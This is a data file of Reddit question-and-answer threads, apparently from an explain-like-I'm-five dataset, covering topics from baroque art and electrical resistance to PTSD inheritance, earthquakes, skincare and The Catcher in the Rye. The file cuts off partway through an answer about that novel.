{"q_id": "bp7x8w", "title": "how can certain words, such as \"baroque\", be used to describe so many inherently different styles of art, such as architecture, dance, music, and paintings?", "selftext": "I don't understand how you can look at a painting, a building, or listen to music and try to compare the 3 in any meaningful way.  Trying to get a grasp of art history, but I feel like I'm failing to grasp some sort of core-concept.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bp7x8w/eli5_how_can_certain_words_such_as_baroque_be/", "answers": {"a_id": ["enpq8c5", "enq43d9", "enq9spq", "ens4fs9"], "score": [6, 3, 3, 2], "text": ["Baroque style usually refers to a period of time usually associated with 17th/18th century European culture. This was after the Renaissance, so things were pretty extravagant during this time. Think chamber music being played at Versailles with all those fancy paintings hanging out.", "Humans like to categorize things. Often times, a word like \u201cBaroque\u201d is used to categorize and describe a range of artworks.\n\nFor example, baroque paintings are usually characterized by \u201cdramatic\u201d lighting and scenes that treat human subjects as actors to convey a narrative. In a word, baroque paintings are \u201ctheatrical\u201d. When you use baroque to describe architecture it refers to architecture that was designed to be dramatic and theatrical. The goal is similar to paintings, but the methods used are different since architecture deals with three dimensional space rather than a flat surface.\n\nHowever, if a term is used across multiple fields the characteristics of artwork between the fields often have nothing to die with each other except maybe the period of time they are from (and even that can be called into question).\n\nFor example, \u201cModern\u201d is a tricky word when used across the arts. A \u201cmodern painting\u201d mentioned in parlance could just be someone referring to a nice abstract painting they found in Bed Bath and Beyond. Or, if used by an art historian, it could refer to a period of paintings produced between the 1860\u2019s and 1950\u2019s OR even a completely different date range if you ask another art historian. The word \u201cmodern\u201d also has very different meanings when it is used to describe architecture or sculpture. In the field of typography, a \u201cmodern\u201d serif actually refers to a style of typefaces developed in the late 1700\u2019s and early 1800\u2019s (not a very intuitive use of the word \u201cmodern\u201d).\n\nThe point being is that experts across different, unrelated fields may decide that a term has strict categorization requirements, but the categorization requirements only apply to the field they study. The same term used by experts in another field may use the same term, but it doesn\u2019t necessarily have to follow the same categorization rules. Experts in different fields of art don\u2019t necessarily get together and decide the meaning of the terms they use to categorize artworks.", "The same way \"the 80s\" can be used to describe music, fashion, movies, etc. If somebody describes something as \"that's so 80's\", you have an immediate understanding of the general aesthetic.", "Baroque is used to describe various art styles of a certain era. Baroque paintings, sculpture, architecture, etc..\n\nThey were usually weird/different than what people are used to, if you need some adjective to describe them. \n\nPainting: strong colours, a lot of shadow/light contrasts, dramatic instants.\n\nArchitecture: curved and spired columns, ellipses and complex geometric figures...\n\nEsculture: movement/life on characters (detailed clothes/bodies and dramatic, photographic poses), unstably looking escultures.\n\nAll in all, the style of that time is defined as weird/different, alive/moving, dramatic... The word itself was used at the time as a synonym of recharged, tricky, and rule breaking. \n\nThis general idea of something being weird/bizarre became the adjective baroque nowadays (the word origin is portuguese to define irregular pearls and it ended taking this different meaning)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2yju88", "title": "Why does electrical resistance occur?", "selftext": "How does it come that resistance occurs when electrons try to move through an atomlattice? what tries to stop them? Do they collide with the atoms, and is this the reason why they cant move without resistance?\n\nplease help im desperate :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2yju88/why_does_electrical_resistance_occur/", "answers": {"a_id": ["cpau6je"], "score": [3], "text": ["Yes, this is the usual cause of electrical resistance. Electrons colliding with atoms in the lattice, especially impurities, converts the energy of the electron into a \"phonon\", essentially a vibrational mode in the crystal. (I'm not too clear on how that works exactly, maybe someone can fill in the gaps.) That extra kinetic energy is measured as heat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1741uk", "title": "how such a rare nut like kola became such a popular soda flavour ?", "selftext": "Kola nuts only grows in central west Africa and Turkey, i do understand that most (if not all) cola extract used today is artificial but how did such a rare fruit/nut become such a popular flavour ?\n\nConsidering the rarity of the raw material original i would think it would be a delicacy, no ?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1741uk/eli5_how_such_a_rare_nut_like_kola_became_such_a/", "answers": {"a_id": ["c820ibb", "c820rsf"], "score": [2, 2], "text": ["Food engineering is crazy, as soon as you find the chemical(s) that make up the flavor, you can re-create it. ", "Back in the days, the [coca](_URL_0_) addiction probably gave it a good start."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Coca"]]}
{"q_id": "91ng4z", "title": "History communicator? Is this a thing?", "selftext": "I was recently watching a YouTube video from Because Science where the host, Kyle Hill, discussed the differences between scientists and science communicators. Science communicators like Kyle Hill and Bill Nye aren\u2019t scientists like theoretical physicists or chemists,but their job is to take scientific concepts, theories, and principle that scientists have researched or discovered, and present them in understandable, relatable, and comprehensible ways for people who are not scientists. \n\nMy question being; is there a similar position/concept in the field of historical academia!\n\nFollow up; if there is not, would such a position be beneficial or of value to the historical community in the sense that it can get more people interested in history?\n\n(I.e I like watching the YouTube channel Extra History and it has often made me want to go out and do more research on the historical subjects they bring up. Would more stuff like this be beneficial?) ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/91ng4z/history_communicator_is_this_a_thing/", "answers": {"a_id": ["e2zsjdy"], "score": [18], "text": ["We have something even better: Public History.\n\nPublic history is its own subfield within the discipline of academic history and in many places its own accredited study program, resulting most often in an MA. It's specifically designed to provide training, education, and methods for people who professionally work with history to reach out and connect to the public. This can include such activities like historical preservation, archival science, curatorship, and much, much more. It teaches you to work in museums and historical sites, both in terms of designing exhibitions as well as tailoring public outreach; to communicate history to interested lay persons and design educational programs and content based on history.\n\nIn the US, the National Council on Public History, the professional membership association for people working in such diverse fields as museums, historical sites, parks, battlefields, private and government agencies dealing with public history, defines its mission as \"To promote the utility of history in social through professional practice.\"\n\nWhile the field became heavily professionalized in the 70s and the NCPH was founded in 1979, it is a field that especially in light of changing technologies is still developing and has recently added digital history as one of its core fields and methods. Following recent journal publications in the fields shows that the idea of historical outreach over the internet is one many people in the field are excited about and are strongly trying to improve and develop effective methodologies for. It's among the reasons [why we were once featured with a panel at their national conference](_URL_0_). I also know that there are several flairs on this site who work professionally as public historians.\n\nThe development of the field of public history has also inspired other disciplines to develop similar styles and methods in trying to reach out to an interested public, f.ex. in the US since the late 1980s the field of public sociology has started to be developed heavily.\n\nSo, basically what I am saying is that we have developed historical outreach and engagement with the public before many other fields, including science, and what is commonly known as science communicators would be, in our case, public historians who are often, and unlike some of the more popular communicators, actually specifically trained and educated in what they are doing.\n\nThis is also one of the reasons why people like Dan Carlin and Extra Credits don't have the best reputation: While especially Carlin frequently uses his \"I'm not a historian\" shtick as a defense to shield him from criticism, there actually are people who have studied public history working in historical outreach and going very often completely unacknowledged by the public at large that they are working so hard to educate in history.\n\nFor more, see among other things [the NCPH website](_URL_1_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/682ta1/friday_freeforall_april_28_2017/dgv6vwr/", "http://ncph.org/what-is-public-history/about-the-field/"]]}
{"q_id": "1ykr1m", "title": "how is it that tablets and some phones can take pictures with practically no delay and yet most digital cameras always have delays when taking pictures?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ykr1m/eli5_how_is_it_that_tablets_and_some_phones_can/", "answers": {"a_id": ["cflfnjv"], "score": [6], "text": ["It's mostly to do with lenses and sensor size. Mobile devices use very small sensors that are very tolerant of focusing errors and use lenses that are very quick to focus.  Electronic shutters also help as nothing needs to move in order to take an exposure.\n\nIn contrast, digital cameras use larger sensors and larger lenses, which means that focusing must be more accurate and takes longer because larger lenses are harder to move.\n\nThat said, professional cameras (Nikon D800, Canon 1D etc) have less shutter lag than any mobile device."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "chxkvn", "title": "how is ptsd or other psychological experiences passed down to offspring?", "selftext": "Hey, so today I heard from a friend's kid that their bio professor said that PTSD can be passed down to offspring through (not DNA but something like that) \n\nShe said it could even last generations, I googled but didn't really find anything.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/chxkvn/eli5_how_is_ptsd_or_other_psychological/", "answers": {"a_id": ["euz0emq", "euz1dk1", "euz2myi", "euz46q0", "euznqoa", "euzo1k9"], "score": [7, 5, 4, 5, 3, 2], "text": ["PTSD is not heritable. There is evidence that some genetic predispositions (does NOT equate to ACTUAL EXPRESSION) are heritable.", "Sometimes when things happen it causes little pieces inside you to change from what they were and they stay like that. Then when you have babies, there\u2019s a chance that they\u2019ll get that changed piece instead of the piece that wasn\u2019t changed from the other parent and then that person has a chance of passing along that changed piece to their baby if they one. \n\nHere\u2019s the [link](_URL_0_) that goes more in-depth about psychological epigenetics\n\nEdit: I don\u2019t know about PTSD or other things being transferred through DNA but epigenetics was the closest thing I could think of that fit.", "Scientists think trauma can change your DNA\n\n_URL_0_\n\nThis doesn\u2019t mean PTSD is heritable. \n\nIt does mean PTSD affects future offspring.", "It sounds like the professor was describing 'intergenerational trauma', which is when, for example, a person experiences something Horrible (like human trafficking, slavery, etc) and the psychological damage isn't addressed, the person then lives the rest of their life in vigilance, constantly on guard against further harm.  When that person has children, they can inherit those behaviors through observation, who then grow up and pass those behaviors on to *their* children, and so on.\n\nA more specific example: **Many** modern American Black people don't know how to swim and may even have anxieties about trying, because during early-ish segregation their ancestors were not allowed in public pools (white pool owners would actually pour BLEACH into pools if anyone who wasn't white tried to swim).  So we had a handful of generations who were banned from pools -- or risk severe harm -- who then had to avoid taking their children to the pool/beach or teaching them to swim, and when those children grew up and had kids, few taught their kids to swim because they didn't know how to themselves.  \n\nBut yeah, no, PTSD is literal brain damage and is not genetically inheritable.", "_URL_1_\n\n\u201cOur review found an accumulating amount of evidence of an enduring effect of trauma exposure to be passed to offspring transgenerationally via the epigenetic inheritance mechanism of DNA methylation alterations and has the capacity to change the expression of genes and the metabolome.\u201d\n\n_URL_0_\n\nI googled \u201ctrauma alters DNA\u201d", "Yes, there are genetic ways that it can be passed on. These ways are referred to as epigenetic changes. This is a fairly new but very exciting field of genetics. The people who are saying nothing genetic is passed on are incorrect, because they are basing their answers old outdated information.\n\nEpigenetic changes refer to the *expression* of DNA. The experiences of a parent can affect how their DNA is expressed in their children. And these changes can last for multiple generations. For example, if a man experiences starvation, the genes he passes on in his sperm are changed and his children may have a greater tendency towards developing diabetes. And if a pregnant woman experiences stress while pregnant, her fetus is exposed to more stress hormones, which will affect that child\u2019s sensitivity to stress hormones throughout their life.\n\nOne of the key ways they initially began to develop this field was in studying Dutch people who were descendants of people who were *in utero* during the \u201chunger winter\u201d of 1944-45, when the Nazis were starving out the Dutch. Pretty much everyone experienced a lot of physical and emotional stress during that time, yet otherwise were OK, so it provided a good test of what stress can do, and it was easy to compare this cohort to those of close to similar age who didn\u2019t have that stress. They found significant changes physiologically and in the expression of their genes. \n\nThis is just an example of what your professor was referring to. If you want to learn more, google \u201cepigenetics\u201d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://nobaproject.com/modules/epigenetics-in-psychology"], ["https://www.futurity.org/can-mental-trauma-alter-our-biology/"], [], ["https://www.smithsonianmag.com/science-nature/your-childhood-environment-can-permanently-change-DNA-180964869/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5977074/"], []]}
{"q_id": "37t7o1", "title": "How would the geography of the Midwestern United States change if there were a significant earthquake in the New Madrid Seismic Zone?", "selftext": "Several years ago I watched a video on the [New Madrid Seismic Zone/Fault Line](_URL_0_). The video first talked about the earthquakes that occurred in and around New Madrid during 1811 and 1812, and it then went on to discuss the potential damages that could occur in cities such as Memphis and St. Louis were a significant earthquake to occur there today.\n\nAs the Wikipedia article details, a FEMA-sponsored study estimated a 7.7-magnitude earthquake could lead to thousands of fatalities, displace millions, and cause hundreds of billions of dollars in property damage. What the article doesn't detail is how, if it all, the geography of the region would be changed. Hence my question:\n\nHow would the geography of the Midwestern United States change if there were a significant earthquake in the New Madrid Seismic Zone?\n\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/37t7o1/how_would_the_geography_of_the_midwestern_united/", "answers": {"a_id": ["crpxk18", "crq2bct"], "score": [3, 2], "text": ["An excerpt from the [USGS website about the 1811-1812 earthquake in the region](_URL_0_): \n\n > Shaking Caused Sand Blows, River Bank Failures, Landslides, and Sunken Land\nThe earthquakes caused the ground to rise and fall - bending the trees until their branches intertwined and opening deep cracks in the ground. Deep seated landslides occurred along the steeper bluffs and hillslides; large areas of land were uplifted permanently; and still larger areas sank and were covered with water that erupted through fissures or craterlets. Huge waves on the Mississippi River overwhelmed many boats and washed others high onto the shore. High banks caved and collapsed into the river; sand bars and points of islands gave way; whole islands disappeared. Surface fault rupturing from these earthquakes has not been detected and was not reported, however. The region most seriously affected was characterized by raised or sunken lands, fissures, sinks, sand blows, and large landslides that covered an area of 78,000 - 129,000 square kilometers, extending from Cairo, Illinois, to Memphis, Tennessee, and from Crowley's Ridge in northeastern Arkansas to Chickasaw Bluffs, Tennessee. Only one life was lost in falling buildings at New Madrid, but chimneys were toppled and log cabins were thrown down as far distant as Cincinnati, Ohio, St. Louis, Missouri, and in many places in Kentucky, Missouri, and Tennessee.\n\n > A notable area of subsidence that formed during the February 7, 1812, earthquake is Reelfoot Lake in Tennessee, just east of Tiptonville dome on the downdropped side of the Reelfoot scarp. Subsidence there ranged from 1.5 to 6 meters, although larger amounts were reported.\n\n > Other areas subsided by as much as 5 meters, although 1.5 to 2.5 meters was more common. Lake St. Francis, in eastern Arkansas, which was formed by subsidence during both prehistoric and the 1811-1812 earthquakes, is 64 kilometers long by 1 kilometer wide. Coal and sand were ejected from fissures in the swamp land adjacent to the St. Francis River, and the water level is reported to have risen there by 8 to 9 meters.\n\n > Large waves (seiches) were generated on the Mississippi River by seismically-induced ground motions deforming the riverbed. Local uplifts of the ground and water waves moving upstream gave the illusion that the river was flowing upstream. Ponds of water also were agitated noticeably. \n\nSimilar changes can be expected in case of a significant earthquake today, with the addition that the area is much more densely settled today and has more buildings that can collapse. ", "If you mean the general landscape, then it's hard to answer. Much of that area is on a broad alluvial plain which would greatly be affected by a major earthquake. As stated above, lakes and ridges and sand spits were formed by the 1811-1812 quakes. Given that the region is so heavily developed, another similar quake would be catastrophic. Bridges, river towns, cities, Mississippi navigation would be devastated."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/New_Madrid_Seismic_Zone"], "answers_urls": [["http://earthquake.usgs.gov/earthquakes/states/events/1811-1812.php"], []]}
{"q_id": "1obzfx", "title": "if clogged pores are holding dirt  &  oil in your face, then how come squeezing them is bad  &  not beneficial ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1obzfx/eli5_if_clogged_pores_are_holding_dirt_oil_in/", "answers": {"a_id": ["ccqlp89", "ccqlppa", "ccqlptk", "ccqlqcc", "ccqlqin", "ccqm0lo", "ccqndrm", "ccqnh5l", "ccqnjlr", "ccqnzpg", "ccqo4k9", "ccqon4i", "ccqow6m", "ccqpcz4", "ccqqkrh", "ccqqmcu", "ccqus8b"], "score": [55, 266, 2, 5, 191, 3, 15, 18, 3, 19, 9, 11, 145, 11, 4, 3, 2], "text": ["Summoning the skin-savers at /r/SkincareAddiction! ", "Well, it's not that it's bad and not beneficial,  there are actually tools that help you remove blackheads and whiteheads. The harm is in either compulsively picking, and also when you use your fingers you damage the tissue around the clogged pore. ", "squeezing can damage the tissue around the pore and result in either scarring of the tissue (look up acne scarring) or can clog up the pore with blood, or both.", "I think that the problem is more with the irritation and inflammation that can happen as a result of trying to squeeze them.  Squeezing also makes them explode a little, so bacteria get in and they are more likely to get infected.  Popping them also makes them more likely to leave scars.  ", "Most of the \"clogged\" pores you see on your skin are actually not clogged.  What they are is how they're supposed to be.  They're filled with a naturally occurring substance which turns dark when exposed to air.  When you squeeze it to get rid of what is supposed to be there you then open it up to infection plus deform the pore, which can result in large, open pores which can be quite unsightly.  ", "when popping pimples some of that infected/dirty material could be launched back inside your body instead of being popped out. could lead to other, more serious problems.", "Some of the \"clogged pores\" are actually sebaceous filaments.  There is no point in trying to squeeze them out because they fill back up again right away.  You can reduce their appearance by using something with an AHA in it and, if you wear makeup, use a primer.  I use Benefit Porefessional.  It fills them in really well, doesn't cause actually clogs, and is tinted very lightly.  Check out /r/skincareaddiction for more information about what are sebaceous filaments and what are actual blackheads.  ", "Whenever I pop a zit, I r seems like I get 1-2 daughter zits a cm or two away from the original. I'm (f47) convinced that popping a zit forces  bacteria BACK into the tissue around the blemish while you're trying to get original clogged pore unstuck.\n\nDon't squeeze. It's MUCH better to go get a facial (or medical facial) snd let the tech special tools and skin texture prep to soften the gunk in your pores. Your face will thank you.", "Your body has its own ways of dealing with intrusive things (dirt, oil, etc.) if you just give it time and don't interfere. The act of removing the contaminants from your skin isn't, in and of itself, a bad thing. The trauma of squeezing the surrounding tissue, as well as the dirt, oil, and god knows what on your hands, is what tends to do more harm than good.", "If you pick you should wash your face immediately after, and avoid using finger nails. A strategic pop of a big white head is quite refreshing, and can relieve pressure and irritation, as long as you don't irritate it further. Anti-bacterial soap is great for freshly popped zits.\n\nSome people form habits of picking. That's where the real issues start.", "How can I get rid of blackheads on my nose?", "I don't know man, I've always squeezed them (and put some alcohol on them after) and not only was/is my face clean, I never had any permanent scars whatsoever. This paranoia about squeezing them makes me sick. SICK I tell you! But not sicker than seeing those white disgusting things on people's faces. Ughhh, just SQUEEZE IT!", "Not sure if its already been said or not but when you squeeze something, like 60% of it comes out the skin and you can wipe off but 40% of the puss (in a Pimple for example) goes down into your subcutaneous layer and can spread to other parts of your face and create new acne. That's why you always need to poke the pimple and pop it with a needle first and then squeeze after to get all that shit out.\n\nSource: **I'm a drunk pre-med student**", "The pimples no one notices look better than the bloody scabs everyone notices ", "The ratio of Loreal \"skin care product specialists\" to actual scientists in these answers is incredible.", "getting them warm in the shower then using a soft brush to clear off the tops then gently using dermal pressure to mix a disinfectant soap into the pores as your pressure guides the white grease out works just fine.\n\nthe warmer you can safely get any kind or acne or pore clogging material the easier it will be to remove.", "if you pick at a blemish there is also risk of pushing  the clog or infection deeper into the pore"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "28f07w", "title": "how is it legal to post a persons image on the internet without their consent", "selftext": "For television you have to sign a waver of some kind otherwise the network has to blur your image out. But on the internet I can post a picture of anybody with no repercussions.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28f07w/eli5_how_is_it_legal_to_post_a_persons_image_on/", "answers": {"a_id": ["ciaadzq", "ciaanwf", "ciabhnh"], "score": [15, 10, 6], "text": ["Legality depends on your jurisdiction.\n\nWhere I live, if a reasonable person wouldn't expect privacy, both photography and videography are not restricted.", "TV is using your image or likeness in a commercial enterprise, for profit.\n\nBut [taking a picture of a stranger](_URL_0_) is legal as long as you are in a public place, and there's also no laws against posting those photos online.\n\nNow certain online activities are prohibited. Canada won't let you use pictures during cyberbullying, for example.", "Television only has to blur someone image if the picture or video is being used for commercial purposes. Many reality shows will blur the image of anyone who doesn't sign a waiver just to be on the safe side since one could argue that a reality show is a commercial venture.\n\nNews shows do not have to blur the image of anyone they capture in a public place. You have no right to privacy in most public places. Anyone can take your picture and do whatever they want with it, as long as they do not do it for profit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.rolereboot.org/culture-and-politics/details/2014-06-stop-posting-photos-strangers-online/"], []]}
{"q_id": "a4bfn0", "title": "how does newton's third law work?", "selftext": "If I push on a door with 100N, and it pushes back with 100N, surely the forces would cancel out, and the door wouldn't accelerate? Also, when it does accelerate, how come i'm not pushed backward?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4bfn0/eli5_how_does_newtons_third_law_work/", "answers": {"a_id": ["ebcxm2x", "ebcxo3q", "ebcy21q", "ebd1nwn"], "score": [2, 4, 9, 3], "text": ["You brace yourself against the ground at 100N, the ground pushes back at 100N. You don't move.\n\nThe object you're pushing get's less friction than 100N and moves forward with the sum of the 100N push minus the xN friction creates.\n\nIf the object endures more friction than the 100N, you can't push it forward.\n\n", "What you're describing depends on your frame of reference. The forces are cancelling out if you consider yourself and the door as *one system*. But when you consider the door alone and exclude yourself, you're just pushing on it (yes, it's pushing on you, but that isn't a force that's applied to the door, it's applied *by* the door). \n\nIn the same sense, if you consider the door's frame of reference (so as to say as if the world is moving relative to it) you are being pushed backwards. But within your own frame of reference it's the door that's moving. If you're using something like the room or a nearby wall as a frame of reference (as is usually done, the frame of reference is usually something that isn't moving), you're both moving. ", "When you push on a door with 100N, it pushes back on *you*. The net force applied *to the door* is still 100N so it moves. If the door didn't push back on your hand with an equal force your hand would go through the door\n\nSo why are you able to push the door? Because you also push back on the ground with more than 100N of force", "You *are* pushed backwards when you push a door. \n\nImagine you are standing on ice with skates on. If you push something, you'll move backwards. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3u69cz", "title": "why do redheads require an average of 20 percent more anesthesia when undergoing a surgery?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3u69cz/eli5_why_do_redheads_require_an_average_of_20/", "answers": {"a_id": ["cxc9jnw"], "score": [23], "text": ["Turns out that there's a mutated gene very common to redheads that has to do with both hair color and the processing of pain in the brain. It's just one of those weird quirks of genetics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5nco58", "title": "the \"old math\" in tom lehrer's new math", "selftext": "If you haven't heard the song, he describes the way they used to do math as follows:\n\n > Consider the following subtraction problem, which I will put up here: 342 minus 173. Now, remember how we used to do that:\n\n > Three from two is nine, carry the one, and if you're under 35 or went to a private school, you say seven from three is six, but if you're over 35 and went to a public school, you say eight from four is six ...and carry the one, so we have 169.\n\nHe then proceeds to the song, which explains regrouping, the way I learned to do math growing up in the 90s. How did they teach it before?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nco58/eli5_the_old_math_in_tom_lehrers_new_math/", "answers": {"a_id": ["dcaghyz", "dcaigtr", "dcajctw", "dcaoorp"], "score": [12, 3, 9, 2], "text": ["Before regrouping, arithmetic was taught as a mechanical procedure to follow and practice religiously, without any regard to why it works.\n\n     3 4 2\n    -1 7 3\n    -------\n\nWhen subtracting a larger number from a smaller number, you'd pretend there's an extra 1 before the larger number, so 2 - 3 becomes 12 - 3. Then after writing down 9, you'd \"carry\" that extra 1 to the next line. Then you can either subtract one from the top number, or add one to the lower number - they're equivalent, and continue.\n\nIt's pretty much exactly the same as regrouping, but the idea of \"carry the 1\" doesn't really give you any insight into how it works.\n", "I think the new way is:\n\n7 gets you to 180  \n27 gets you to 200  \n127 gets you to 300  \n167 gets you to 340  \n169 is the result. \n\nAnyway I saw some people complaining on facebook that their kids had to learn this. Seems much easier to me.", "Old math was about rote learning of the calculation algorithms.  You carried and borrowed, but never really knew what that meant mathematically.  They were just things you did to get the right answer.\n\nNew math tried to make it more conceptual.  A lot of parents complained about and mocked the new math, because they never really understood math, so it didn't make sense to them.  I have always found it ironic that they chagrin for new math was born out of the very ignorance it tries to correct.\n\nYou see it again today with a lot of the change that happened at the same time as (but not because of) Common Core.  Parents don't understand an assignment was about estimation and throw a Facebook fit when their get gets mark down for giving and exact answer.", "The other replies are incorrect. The new math was when algebra started to be really pushed in the 60's, and started to be taught at en earlier age.\n\nNow we're even teaching \"algebra\" or solving for an unknown number, in first grade with \"fact families\" but we really started doing this decades ago.\n\n >  But it sounds like the Common Core change recently! \n\nYup, people still don't really know math. Whether you call it carrying or regrouping, it's the same thing. Either you take one from a tens so you can carry a ten to a one, or you take one from a tens so you can regroup a one and increase the count by ten. Vocabulary changes, but the math remains the same.\n\nAnd other than teaching \"algebra\" earlier, it's really just the vocabulary that's changing.\n\nBack in the 40's and 50's, they had some screwy ways to teach math, which is what Lehrer is referring to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "j9md4", "title": "could someone explain li5 'the catcher in the rye' and why it's so controversial?", "selftext": "also maybe why it's related to John Lennon's death?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j9md4/could_someone_explain_li5_the_catcher_in_the_rye/", "answers": {"a_id": ["c2aa6zb", "c2aa95m", "c2aa979", "c2aaa67", "c2aaz73", "c2ab38f", "c2ab4pr", "c2ablde", "c2ablzv", "c2abpn5", "c2adug5", "c2afc1c", "c2aff7a", "c2akh38", "c2aa6zb", "c2aa95m", "c2aa979", "c2aaa67", "c2aaz73", "c2ab38f", "c2ab4pr", "c2ablde", "c2ablzv", "c2abpn5", "c2adug5", "c2afc1c", "c2aff7a", "c2akh38"], "score": [14, 870, 13, 31, 8, 2, 3, 5, 3, 3, 3, 2, 2, 2, 14, 870, 13, 31, 8, 2, 3, 5, 3, 3, 3, 2, 2, 2], "text": ["Basically, it's the story of Holden Caulfield. Holden begins the story after being kicked out of Pencey Prep, an elite boarding school, as he is flunking his classes. He proceeds to go to New York City, ask a taxi driver about where ducks go, get rejected, try to pick up older women, get rejected, try to get a hooker, get rejected, until finally meeting with his sister Phoebe, pretty much the only person in the world he can talk to since his brother died of leukemia and his other brother became a sellout.\n\nIt was considered controversial at the time due to Holden's coarse language, blunt sexual urges, and anarchist/nihilistic ideals.\n\nAs for John Lennon's death, it happens that it was the book that Mark David Chapman, the assassin, was reading at the time of his arrest. ", "When you get older, you'll start feeling strange; very angry and very sad and strange mixtures of the two. This is because of chemicals called hormones that your body makes to help you grow up. \n\nThe book \"Catcher in the Rye\" is all about growing up. Its main character, also called a \"protagonist\", is a teenage boy who is experiencing the full effect of hormones. As a result, he is angry at a lot of people, and sad with the way the world is. \n\nHe runs away from home after being kicked out from his school for not doing well. After this, he travels around America and has some adventures, although most of these are not good adventures, but bad things that people should not do, like stealing and lying, and doing bad things with girls. He also says a lot of bad words. \n\nThis has made some people think that the book is bad for people to read it, as it might teach them to do bad things, or use a lot of bad words. The main character also talks about a fantasy he has where he protects children from growing up. Some people think this is bad, as teenagers who are feeling the effects of hormones might be influenced to try not to grow up, rebelling against growing up as a person. Another thing that makes people talks a lot about the book is that the people who try to ban it to protect children from it are acting like the main character in his fantasy to protect children.\n\nOne thing that has made people really be worried about people reading the book is the fact that it has influenced several people who have then tried to, or actually killed other people. One of these was John Lennon, a famous musician; the man who shot him had the book with him when he did it, and called it his statement. Some people think the book made him do it, but other people think he was sick in the head and he just thought the book was influencing him.", "It contained the word \"Fuck\"\n\n(irony is that the main character wanted to cover up the graffiti, but parents groups don't care)", "it's a pretty tame book.  It was \"banned\" and such before Lennon's assassination.  According to Wikipedia:\n\n > The challenges generally begin with Holden's frequent use of vulgar language[32],[33] with other reasons including sexual references,[34] blasphemy, undermining of family values[33] and moral codes,[35] Holden's being a poor role model,[36] encouragement of rebellion,[37] and promotion of drinking, smoking, lying, and promiscuity.\n\nI should note that these instances *really aren't that bad*.  Holden doesn't exactly munch clit or anything.  He hires a prostitute and chickens out (I think he tried to have a conversation with her instead...her pimp punches him out).  He flirts with some girls.  There's really not much more sexual content than that.\n\nI'm thinking it was pretty much a shocking thing for mid-century readers for a book to be first-person narrated by an adolescent so *honestly*.  It kinda freaked people out that there was a book that frankly discussed a teenager's sexuality and thoughts towards life.  That's just a guess though.\n\nThere's also a lot of controversy regarding the merit of the novel.  It's probably the most hated of the \"classics\".  The main criticism is that Holden is unlikable and \"doesn't do anything\". I'm of the opinion that that's kinda the point.  He isn't supposed to be an Indiana Jones or anything.  It's a coming-of-age novel, and one of the best.  He starts out immature, and ends slightly less immature.  People have the expectation that it's going to be more like...Trainspotting, or something.  Go in with the correct expectations.", "A sort of metapost: Its funny that you should ask that in this subreddit.  Catcher in the Rye is a bit like explainLI16.  Although Holden's POV is immature to an adult, that's very much the point: as an adult you can see the limitations of Holdens view of his world.  When you compare it to your more informed and nuanced perspective of the world, you can appreciate the distortions and reductions as a kind of truth and beauty.", "On one hand it is written in an annoyingly angsty style that just makes you want to punch a baby, on the other hand it is amazingly accurate to sounding like an angsty teenager.", "John Lennons Death: it really isn't. Just some crazy fuck read it and thought it was telling him to kill lennon. Read: he was just crazy.\n\nCatcher was just a sign of the times. The youth of the day and perhaps all youth of every generation just likes to rebel and holden was that. He thought the world was fake and everyone around him was fake. That's about it. Basically 200 pages of a teenager bitching about his life. I would recommend it, but I don't think it's as important as people make it out to be. Gatsby and Sun also rises are better IMO.", "It's because of the indifference towards authority and \"moral depravity\" in the main character.\n\nI have absolutely no clue as to why it was an inspiration in John Lennon's murder. Maybe it's because the guy who murdered John Lennon was FUCKING CRAZY.", "I'm being totally serious and haven't read the book: Isn't this one banned because of blatant racism against black people? (Well, not banned but controversial) If its not this book, what is the book I'm thinking about that's required for school?", "The killer of John Lennon claimed he was inspired by Catcher in the Rye.", "...I predict a lot of homework assignments being completed--courtesy of Reddit. ", "The book is quite nice, but nothing compared to [The Tale of Scrotie McBoogerballs](_URL_0_)", "Holden Caulfield is merely a jaded idealist.  The reason people hate him is because relating to him makes people aware of the parts of themselves that society discourages. Yet, anyone can relate to him in some way, and this makes people insecure when they do: Subconsciously, they're afraid they're as jaded and unrealistic as Holden is, and they probably are to some extent.", "In high school your teachers force you to read a lot of stupid books that you can't relate to. You'd rather be smoking a doobie in the Wawa parking lot. In 11th grade your teacher will ask you to read Cather in the Rye. It appears to have a stupid name. To make it seem like you always do your homework, you read the first chapter and volunteer to talk about it the next day so the teacher never picks you 